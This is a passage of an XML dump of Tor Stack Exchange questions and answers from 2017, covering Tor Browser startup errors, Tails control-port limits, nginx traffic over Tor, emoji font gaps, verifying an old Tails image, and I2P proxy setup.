  <row Id="16020" PostTypeId="2" ParentId="16013" CreationDate="2017-10-30T14:21:28.250" Score="0" Body="&lt;p&gt;It depends on what exactly do you need :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;So if your NGinx &lt;em&gt;itself&lt;/em&gt; needs to access the outer world via proxy - it is done via Tor's TransPort port and DNS resolver, it's a way better, because it's protecting you from DNS leaks. The forwarding itself is done via firewall on by-user basis(iptables)&lt;/li&gt;&#xA;&lt;li&gt;If you run something inside NGinx, like PHP or other active content - it's usually done by elaborating stuff like cURL, but if it will lead to a massive code rewrite - firewall forwarding is used as well.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In both cases you &lt;strong&gt;don't&lt;/strong&gt; forward the mandatory connections, like incoming requests, connection between nginx-to-php, php-to-local-mysql etc, but all the rest goes through Tor via firewall rules.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-10-30T14:21:28.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16021" PostTypeId="1" CreationDate="2017-10-30T14:40:55.677" Score="1" ViewCount="5722" Body="&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I fixed the problem. The crucial step after deleting the app and the &lt;code&gt;TorBrowser-Data&lt;/code&gt; folder was rebooting my Mac before re-installing. After that, everything worked just fine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've been using Tor fine for many weeks since upgrading my Mac to High Sierra 10.13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today, I asked Tor to check for updates, and I was told of the 7.0.8 update. I clicked to upgrade, but upon restarting was shown the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor unexpectedly exited. This might be due to a bug in Tor itself, another program on your system, or faulty hardware. Until you restart Tor, the Tor Browser will not be able to reach any websites. If the problem persists, please send a copy of your Tor Log to the support team.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clicking the &quot;Restart Tor&quot; button brings the same dialog back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uninstalled Tor and removed my &lt;code&gt;~/Library/Application Support/TorBrowser-Data&lt;/code&gt; folder, emptied my trash, and re-installed - but I get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried removing the app &amp;amp; &lt;code&gt;TorBrowser-Data&lt;/code&gt; folder and reinstalling v6.08, v7.07, and even v7.56a6 - yet every time I start them, I get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempting to copy the Tor log to the clipboard always shows that there are 0 logs copied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If removing the app and data folders isn't enough, what on earth could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wxp5X.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wxp5X.png&quot; alt=&quot;The error dialog&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19672" LastEditorUserId="19672" LastEditDate="2017-10-31T12:23:26.783" LastActivityDate="2020-07-28T08:09:38.807" Title="Solved: Can no longer start Tor on macOS High Sierra 10.13 since upgrading to 7.0.8" Tags="|mac|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16024" PostTypeId="1" CreationDate="2017-10-31T05:46:56.897" Score="0" ViewCount="935" Body="&lt;p&gt;I am running TAILS 3.2.  When I try to upgrade to TOR 7.0.8 I download the linux64-7.0.8 package.  I am able to unpack the package.  But when I try to run the TOR Browser Setup program, I get an error message &quot;unable to connect to tor control port.&lt;/p&gt;&#xA;" OwnerUserId="19683" LastActivityDate="2022-04-09T22:04:10.373" Title="in TAILS, TOR launcher shows error &quot;unable to connect to tor port" Tags="|tails|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16025" PostTypeId="2" ParentId="687" CreationDate="2017-10-31T09:56:16.853" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/PanagiotisDrakatos/T0rlib4j&quot; rel=&quot;nofollow noreferrer&quot;&gt;T0rlib4j&lt;/a&gt; is the best choice  by far because it is fullly funtional and is up to dated . With it you can use a java app Tor's control protocol to communicate against the Tor process an connect to a hidden service via SOCKS4a/5 proxy. The documentation is fully detailed and worths to take a look. In addition, it has  a working         &lt;a href=&quot;https://github.com/PanagiotisDrakatos/T0rlib4j/tree/master/src/main/java/net/sf/T0rlib4j/samples&quot; rel=&quot;nofollow noreferrer&quot;&gt; Samples &lt;/a&gt; Client - Server model in order to start connecting to Tor&lt;/p&gt;&#xA;" OwnerUserId="9438" LastActivityDate="2017-10-31T09:56:16.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16027" PostTypeId="1" CreationDate="2017-10-31T21:42:37.240" Score="0" ViewCount="229" Body="&lt;p&gt;(&lt;a href=&quot;https://i.stack.imgur.com/Av9qC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/Av9qC.png&lt;/a&gt;)&#xA;This is my log from orbot. &lt;img src=&quot;https://i.stack.imgur.com/WLpyN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="19697" LastActivityDate="2019-12-21T12:02:05.517" Title="What do these notices mean?" Tags="|log|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16028" PostTypeId="2" ParentId="15074" CreationDate="2017-10-31T22:00:23.913" Score="0" Body="&lt;p&gt;If you have edited the torrc file to open a port check this answer &lt;a href=&quot;https://tor.stackexchange.com/a/16015/19668&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if not, you might have 2 copies of tor running in the same time (Tor + a tor service). To disable that open a command windows navigate to &lt;code&gt;....\Tor Browser\Browser\TorBrowser\Tor&lt;/code&gt; and  launch this command &lt;code&gt;tor --service remove&lt;/code&gt; (it outputs nothing). Then try again to launch tor. (all credit to the link above)&lt;/p&gt;&#xA;" OwnerUserId="19668" LastActivityDate="2017-10-31T22:00:23.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16029" PostTypeId="2" ParentId="16027" CreationDate="2017-11-01T01:07:37.813" Score="1" Body="&lt;p&gt;It looks like it's trying to fetch information from &lt;a href=&quot;https://onionoo.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionoo.torproject.org/&lt;/a&gt; about the relays (I assume over it's own copy of Polipo) and since Polipo is trying to use Tor, which hasn't bootstrapped yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It hasn't bootstrapped because you've specified a limited set of reachable ports or addresses in the Orbot settings, and you have configured it to use bridges, but none of the bridges are available on the required ports or address ranges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to either find bridges that are available on the required ports or addresses, using &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt; or unrestrict the accessible ports and addresses to allow Tor to reach it's chosen bridge(s).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-01T01:07:37.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16030" PostTypeId="2" ParentId="16024" CreationDate="2017-11-01T01:27:40.907" Score="0" Body="&lt;p&gt;You shouldn't upgrade to the Linux 7.0.8 package under Tails directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, continue to use the Tor Browser provided by Tails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails uses a service called onion-grater which acts as a proxy between applications and the real Tor control port. It limits access both to what applications can talk to the control port in the first place, and it limits what the applications can request of the control port too. This is to allow applications that need it to make reasonable requests of Tor, while helping reduce the damage that could be done if a compromised application tried to interfere with it. Tor Browser, which isn't the Tor Browser included with Tails would be unable to talk to the control port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails also uses a packet filter to stop accidental leaks from reaching the internet. Part of this restricts the amnesia user from making connections to local ports and services. The amnesia user cannot connect to 127.0.0.1:9151, where Tor Browser expects Tor to be listening.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-01T01:27:40.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16032" PostTypeId="2" ParentId="15492" CreationDate="2017-11-01T08:32:55.353" Score="0" Body="&lt;p&gt;I had the same problem and it was driving me mad. In the end I looked to see if there was any process running already, and sure enough, under Activity Monitor I could see a Tor process running. It had been running for ages. I killed that and now I have no problem starting Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MacOS 10.12.6 TorBrowser 7.0.8&lt;/p&gt;&#xA;" OwnerUserId="19703" LastActivityDate="2017-11-01T08:32:55.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16033" PostTypeId="1" CreationDate="2017-11-02T01:42:40.727" Score="1" ViewCount="3428" Body="&lt;p&gt;Seen many posts on this with no working solution. Installed Tor via website for Mac OS Sierra. Can't see any other Tor process running in Activity Monitor. Inside my torbrowser.app I double clicked the &quot;tor&quot; file and this is what it said (if it's of any use):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;/Applications/TorBrowser.app/Contents/Resources/TorBrowser/Tor/tor ; exit;&#xA;Nov 02 01:33:11.580 [notice] Tor 0.3.1.7 (git-6babd3d9ba9318b3) running on Darwin with Libevent 2.0.22-stable, OpenSSL 1.0.2k, Zlib 1.2.8, Liblzma N/A, and Libzstd N/A.&#xA;Nov 02 01:33:11.581 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 02 01:33:11.654 [notice] Configuration file &quot;/home/debian/install/etc/tor/torrc&quot; not present, using reasonable defaults.&#xA;Nov 02 01:33:11.658 [warn] Couldn't set maximum number of file descriptors: Invalid argument&#xA;Nov 02 01:33:11.658 [warn] Failed to parse/validate config: Problem with ConnLimit value. See logs for details.&#xA;Nov 02 01:33:11.658 [err] Reading config failed--see warnings above.&#xA;logout&#xA;Saving session...&#xA;...copying shared history...&#xA;...saving history...truncating history files...&#xA;...completed.&#xA;Deleting expired sessions...none found.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also inside the package in the same folder is torrc-defaults but no torrc on its own. Either way can't open browser despite months of trying, deleting the file etc. Somebody suggested something else could be using Port 80 - is that a valid reason? If so how do I fix it or determine the problem?! &lt;/p&gt;&#xA;" OwnerUserId="19713" LastEditorUserId="1765" LastEditDate="2017-11-02T01:58:09.723" LastActivityDate="2023-07-11T14:07:55.910" Title="Tor Unexpectedly Exited. This might be due to a bug in Tor itself, another program... MAC OSX Sierra" Tags="|configuration|error|mac|tor-install|troubleshooting|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16034" PostTypeId="2" ParentId="16033" CreationDate="2017-11-02T09:11:01.350" Score="0" Body="&lt;p&gt;You launch the browser like any other app on the Mac: by double-clicking the app bundle's icon. The files inside may not work correctly if invoked on their own, and are generally not intended to be used that way.&lt;/p&gt;&#xA;" OwnerUserId="19708" LastActivityDate="2017-11-02T09:11:01.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16039" PostTypeId="1" CreationDate="2017-11-02T16:09:52.677" Score="0" ViewCount="117" Body="&lt;p&gt;We have an intranet password server but I can't access it from Tor. The Add-on installed pops up with a request for host address and port. I enter the host name and the port and then get a message that &quot;&lt;a href=&quot;https://hostname:port&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hostname:port&lt;/a&gt;&quot; (hostname is my local server name and port is its access port) is unreachable. There is no way to put a permission. I can access it OK from a Firefox version 56 browser after having added the correct permissions. Please help&lt;/p&gt;&#xA;" OwnerUserId="19723" LastActivityDate="2018-02-01T01:47:19.773" Title="I can't access my intranet password server from Tor" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16040" PostTypeId="1" CreationDate="2017-11-02T16:15:47.647" Score="0" ViewCount="125" Body="&lt;p&gt;I have the following question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded a file through Torbrowser, clicking on it I was asked to open an external sw out to Torbrowser.&#xA;If i start that sw are still in anonymous mode or not?&lt;/p&gt;&#xA;" OwnerUserId="17442" LastEditorUserId="71" LastEditDate="2017-11-04T22:02:58.403" LastActivityDate="2017-11-04T22:02:58.403" Title="QUESTION ON TOR ANONIMIZATION" Tags="|security|windows|help|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16041" PostTypeId="2" ParentId="6959" CreationDate="2017-11-02T18:03:36.017" Score="1" Body="&lt;p&gt;Syncthing.net may just fit the bill:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No central file server&lt;/li&gt;&#xA;&lt;li&gt;Multiple clients&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is uses central servers to set up the connection and the sharing. It would be even better if you could share using a hidden service with a .onion address. This way the central servers would not be needed.&lt;/p&gt;&#xA;" OwnerUserId="1129" LastActivityDate="2017-11-02T18:03:36.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16042" PostTypeId="2" ParentId="16039" CreationDate="2017-11-02T23:16:29.047" Score="1" Body="&lt;p&gt;Tor Browser will not allow this, because it could be used to deanonymize you. Your intranet server is only available on the intranet, if it's not routable from the internet then Tor will not be able to communicate with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no fix for this, and any &quot;fix&quot; would be bad for Tor's anonymity, since access to the intranet cannot be achieved over Tor it would involve making connections outside of Tor, which Tor Browser goes to great lengths to try and prevent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution would be to use Tor and Tor Browser distinct from intranet access.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-02T23:16:29.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16043" PostTypeId="2" ParentId="16040" CreationDate="2017-11-02T23:23:39.553" Score="1" Body="&lt;p&gt;No, if you open a file downloaded through Tor Browser in external software it will no longer be anonymous and might make a connection to the internet outside of Tor which can deanonymize you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my answer to &lt;a href=&quot;https://tor.stackexchange.com/a/15974/12737&quot;&gt;&lt;em&gt;&quot;is it safe to download files through TOR?&quot;&lt;/em&gt;&lt;/a&gt; for more details on the specifics. I can't flag this as a duplicate of that question because no one has voted or accepted the answer.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-02T23:23:39.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16047" PostTypeId="1" AcceptedAnswerId="16053" CreationDate="2017-11-03T13:14:22.553" Score="3" ViewCount="13135" Body="&lt;p&gt;&lt;strong&gt;Tails 3.x deprecated i686 32-bit support.&lt;/strong&gt; For those of us that still use i686 it would be good to be able to continue using Tails 2.12 as the final 32-bit version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there appears to be no official download for anything but the latest Tails 3.x release (there used to be an  &lt;code&gt;obsolete&lt;/code&gt; directory at &lt;a href=&quot;http://dl.amnesia.boum.org/tails&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dl.amnesia.boum.org/tails&lt;/a&gt; but, alas, no more).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Where can I obtain a verifiable copy of Tails 2.12 ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="14607" LastEditorUserId="14607" LastEditDate="2017-11-04T10:54:52.090" LastActivityDate="2023-01-29T18:20:54.263" Title="Where can I obtain a verifiable copy of the final 32-bit Tails version 2.12?" Tags="|tails|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16049" PostTypeId="2" ParentId="8810" CreationDate="2017-11-03T16:58:24.890" Score="1" Body="&lt;p&gt;I had the same issue trying use &lt;code&gt;socat&lt;/code&gt; to run an application through the Tor socks proxy on Tails. I was trying this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# socat TCP-LISTEN:1234 SOCKS4A:127.0.0.1:remoteip:5678,socksport=9050 &amp;amp;&#xA;$ telnet remoteip 5678&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gave&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;telnet: Unable to connect to remote host: Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I had a grope around &lt;code&gt;iptables&lt;/code&gt; and realised that Tails restricts outgoing network packets, even on the loopback interface. I added a rule to allow connections to the port on the loopback device that &lt;code&gt;socat&lt;/code&gt; listens to (in the above example that's port &lt;code&gt;1234&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# iptables -I OUTPUT -o lo -p tcp --dport 1234 -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After which everything worked as expected.&lt;/p&gt;&#xA;" OwnerUserId="14607" LastActivityDate="2017-11-03T16:58:24.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16051" PostTypeId="1" AcceptedAnswerId="16052" CreationDate="2017-11-03T22:46:11.197" Score="0" ViewCount="1957" Body="&lt;p&gt;Here is how I view emojipedia.net using tor browser :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0MzSg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0MzSg.png&quot; alt=&quot;tor browser emoji bug&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;many of emojis aren't recognized by the browser, However emojis in services like twitter work well because the service (twitter in this case) provides it own demonstration of an emoji in form of an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this problem is caused? Why firefox (which tor browser in based on it) doesn't have the same problem?&#xA;Any solutions?&lt;/p&gt;&#xA;" OwnerDisplayName="user19736" LastActivityDate="2017-11-03T23:54:36.507" Title="Why tor browser doesn't recognize many emojis?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16052" PostTypeId="2" ParentId="16051" CreationDate="2017-11-03T23:54:36.507" Score="0" Body="&lt;p&gt;Emojis are just characters in the unicode character set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the browser to natively display characters, the fonts must contain a representation of the character, otherwise you end up with the &lt;a href=&quot;https://en.wikipedia.org/wiki/Substitute_character&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&quot;tofu&quot;&lt;/em&gt;&lt;/a&gt; substitution character, which is what you're seeing there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the unicode character set is vast and constantly growing, fonts would need to be constantly updated to keep up with new additions. Further more, given the sheer &lt;em&gt;size&lt;/em&gt; of the unicode character set, the font files themselves would need to be massive, never mind the work required to create the characters themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem Tor Browser faces, more or less uniquely, is that it is trying to block fingerprinting attacks. Websites can determine available fonts on a system, if they are able to do this then they can use the set of installed fonts as a fingerprint. Available fonts split anonymity sets, since Windows users, OSX users and Linux users will all have different fonts available and any user who has added custom fonts will be even more unqiue and trackable. To solve this problem, Tor Browser ships a limited set of fonts with it and tries to restrict it to only use those fonts, so that users have a consistent set of available fonts across platforms making them harder to track and tell apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution that websites tend to deploy is &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_typography&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;&quot;Web Fonts&quot;&lt;/em&gt;&lt;/a&gt;. If a website is going to use some special symbols or iconography or emoji, the website itself can provide you a font file that you can use to display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the buttons on the text box of this answer form (the bold, italic, hyperlink, etc buttons) on StackExchange are all infact icons from a font which the website provides to the user to ensure that they have the correct iconography in their available fonts to properly display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Tor Browser, you have to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Generating a large, consistent font set for emojis and other unicode characters is labour intensive. Tor Browser needs fonts that it can freely distribute &lt;em&gt;with&lt;/em&gt; Tor Browser, which means it needs to meet specific requirements of licensing. People don't often give away their labour for free.&lt;/li&gt;&#xA;&lt;li&gt;Font files that have comprehensive coverage of even just the emoji space of unicode are going to be &lt;em&gt;large&lt;/em&gt;. Tor Browser could become incredibly bloated just so that it is able to display emojis, assuming it could find a font that was freely redistributable.&lt;/li&gt;&#xA;&lt;li&gt;Websites with specific need to use specific emojis or other iconography, will normally provide a web font which is consistent with their intended aesthetic anyway.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm not saying it won't happen in the future, but those are some of the reasons that it isn't happening now.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-11-03T23:54:36.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16053" PostTypeId="2" ParentId="16047" CreationDate="2017-11-04T10:54:13.093" Score="1" Body="&lt;p&gt;For those limited to i686 and willing to accept the risks of vulnerabilities in old versions, Tucows has &lt;a href=&quot;http://www.tucows.com/preview/1594341/Tails?q=tails&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails v2.12&lt;/a&gt;, both the &lt;a href=&quot;http://www.tucows.com/download/windows/files2/tails-i386-2.12.iso&quot; rel=&quot;nofollow noreferrer&quot;&gt;iso&lt;/a&gt; and the &lt;a href=&quot;http://www.tucows.com/download/windows/files2/tails-i386-2.12.iso.sig&quot; rel=&quot;nofollow noreferrer&quot;&gt;gpg signature&lt;/a&gt;, and it verifies cleanly with the &lt;a href=&quot;https://tails.boum.org/doc/about/openpgp_keys/index.en.html#index2h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails OpenPGP Signing Key&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ wget https://tails.boum.org/tails-signing.key&#xA;$ gpg --import tails-signing.key&#xA;key DBB802B258ACD84F:&#xA;$ $ gpg --verify tails-i386-2.12.iso.sig tails-i386-2.12.iso&#xA;gpg: Signature made Tue 18 Apr 2017 17:46:37 BST&#xA;gpg:                using RSA key BA2C222F44AC00ED9899389398FEC6BC752A3DB6&#xA;gpg: Good signature from &quot;Tails developers &amp;lt;tails@boum.org&amp;gt;&quot; [unknown]&#xA;gpg:                 aka &quot;Tails developers (offline long-term identity key)&#xA;Primary key fingerprint: A490 D0F4 D311 A415 3E2B  B7CA DBB8 02B2 58AC D84F&#xA;     Subkey fingerprint: BA2C 222F 44AC 00ED 9899  3893 98FE C6BC 752A 3DB6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also verified this torrent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;magnet:?xt=urn:btih:URMZDBP3K7HYCLXMR5L34CEFAU72H3GV;dn=TAILS+-+1.1.2+-+%28x86%29;tr=udp://tracker.openbittorrent.com:80/announce&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14607" LastActivityDate="2017-11-04T10:54:13.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16054" PostTypeId="1" AcceptedAnswerId="16055" CreationDate="2017-11-05T07:34:24.830" Score="1" ViewCount="5486" Body="&lt;p&gt;I'm totally new to I2P and trying to configure it so that I could browse ordinary web-pages (eg Linkedin which is blocked in our country right now). At the time of writing the only thing worked properly are .i2p sites like DifTracker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dqi1J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqi1J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Arch Linux x64 (4.13.9-1-ARCH) with Firefox. Let me list the steps I did:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Set port forwarding on my router:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pQZwV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQZwV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;The port number I took from &lt;em&gt;Network configuration -&gt; UDP port&lt;/em&gt;. The second line is the same just for Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Set the following proxy settings in Firefox's preferences:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/viN1j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/viN1j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Check if I2P tunnels (&quot;outproxies&quot;?) work&lt;/strong&gt;. As you can see the network status is OK at the sidebar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oWs9F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oWs9F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/BUCEv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BUCEv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Finally&lt;/strong&gt;, I tried to go to reddit but Firefox says proxy server refuses connections:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/maa0H.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/maa0H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Any ideas?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="19733" LastActivityDate="2017-11-05T10:14:45.677" Title="I2P HTTP/HTTPS proxies doesn't work" Tags="|linux|proxy|i2p|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16055" PostTypeId="2" ParentId="16054" CreationDate="2017-11-05T10:14:45.677" Score="1" Body="&lt;p&gt;So, you have a checklist to verify:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, you need to check allowed clients list.&lt;/li&gt;&#xA;&lt;li&gt;Second - IP binding in the proxy service, it should be explicitly &lt;code&gt;127.0.0.1&lt;/code&gt;, it can be &lt;code&gt;0.0.0.0&lt;/code&gt; - and in I2P it used to cause some glitches.&lt;/li&gt;&#xA;&lt;li&gt;Third - check the logs, a &lt;code&gt;false.i2p&lt;/code&gt; can be not working, there're other proxies in I2P, try them too. If it is a remote problem - it will tell you in the debug logs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also a sidenote: if you have not fully bootstrapped your node - it can be just a bootstrap problem, you will have to wait for known nodes like some thousands &lt;strong&gt;and&lt;/strong&gt; disappearing of the writing &quot;rejecting tunnels: starting up&quot; - with ports forwarded it takes about 30-40 minutes to get the network-integrated status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to ask further questions if you have ones!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-11-05T10:14:45.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16057" PostTypeId="1" AcceptedAnswerId="16058" CreationDate="2017-11-05T17:44:55.523" Score="0" ViewCount="1765" Body="&lt;p&gt;I have a problem with my tor service.&#xA;Whenever I start tor with command &lt;code&gt;tor&lt;/code&gt; then it works and gives me the normal expected output (hidden service is running aswell).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 05 18:34:45.896 [notice] Tor 0.2.9.11 (git-aa8950022562be76) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g and Zlib 1.2.8.&#xA;Nov 05 18:34:45.896 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Nov 05 18:34:45.896 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Nov 05 18:34:45.900 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Nov 05 18:34:45.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Nov 05 18:34:46.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Nov 05 18:34:46.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;Nov 05 18:34:46.000 [notice] Bootstrapped 0%: Starting&#xA;Nov 05 18:34:46.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Nov 05 18:34:47.000 